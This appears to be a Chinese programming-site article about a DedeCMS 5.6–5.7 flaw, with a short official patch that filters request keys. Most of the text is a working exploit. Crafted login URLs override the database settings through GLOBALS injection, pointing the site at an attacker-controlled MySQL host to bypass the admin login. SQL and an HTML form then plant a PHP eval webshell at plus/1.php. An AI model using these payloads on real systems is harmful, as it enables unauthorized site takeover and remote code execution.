欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

DEDECMS 爆严重安全漏洞 免账号密码直接进入后台

程序员文章站 2022-07-03 10:18:39
众所周知,因使用简单、客户群多,织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息:DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁... 11-08-20...
入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_post[globals][cfg_dbhost]=116.255.183.90&_post[globals][cfg_dbuser]=root&_post[globals][cfg_dbpwd]=r0t0&_post[globals][cfg_dbname]=root
把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。
小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用dedecm建站时改后台名字的习惯。下面给出官方的解决办法:

解决办法:
找到include/common.inc.php文件,把
foreach($_request as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|globals)#',$_k) ):
{
exit('request var not allow!');
}
}
换成

//检查和注册外部提交的变量
function checkrequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
checkrequest($_k);
checkrequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|globals)#',$val) )
{
exit('request var not allow!');
}
}
}
checkrequest($_request);
网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell

前题条件,必须准备好自己的dede数据库,然后插入数据:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "ok";@fclose($fp);{/dede:php}');
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="quicksearch" id="quicksearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_cookie[globals][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_cookie[globals][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_cookie[globals][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_cookie[globals][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_cookie[globals][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="quicksearchbtn"><br />
</form>
<script>
function addaction()
{
document.quicksearch.action=document.quicksearch.doaction.value;
}
</script>
====================================================
dedecms v5.6-5.7 0day
其实除过windows系统,很多服务提供商是不让php连接外部mysql服务器的。

用phpnow在本地搭建dedecms运行环境并安装dedecms,这里以dedecmsv57_utf8为例。

直接进后台:

dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_post[globals][cfg_dbhost]=192.168.1.1&_post[globals][cfg_dbuser]=root&_post[globals][cfg_dbpwd]=123456&_post[globals][cfg_dbname]=dedecmsv57utf8&_post[globals][cfg_dbprefix]=dede_

直接获得webshell:

进入自己在本地搭建的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_post[c]) ?>\');echo "ok";@fclose($fp);{/dede:php}');

在地址栏提交以下语句即可获得一句话木马plus/1.php:

plus/mytag_js.php?aid=1&_post[globals][cfg_dbhost]=192.168.1.1&_post[globals][cfg_dbuser]=root&_post[globals][cfg_dbpwd]=123456&_post[globals][cfg_dbname]=dedecmsv57utf8&_post[globals][cfg_dbprefix]=dede_&nocache=true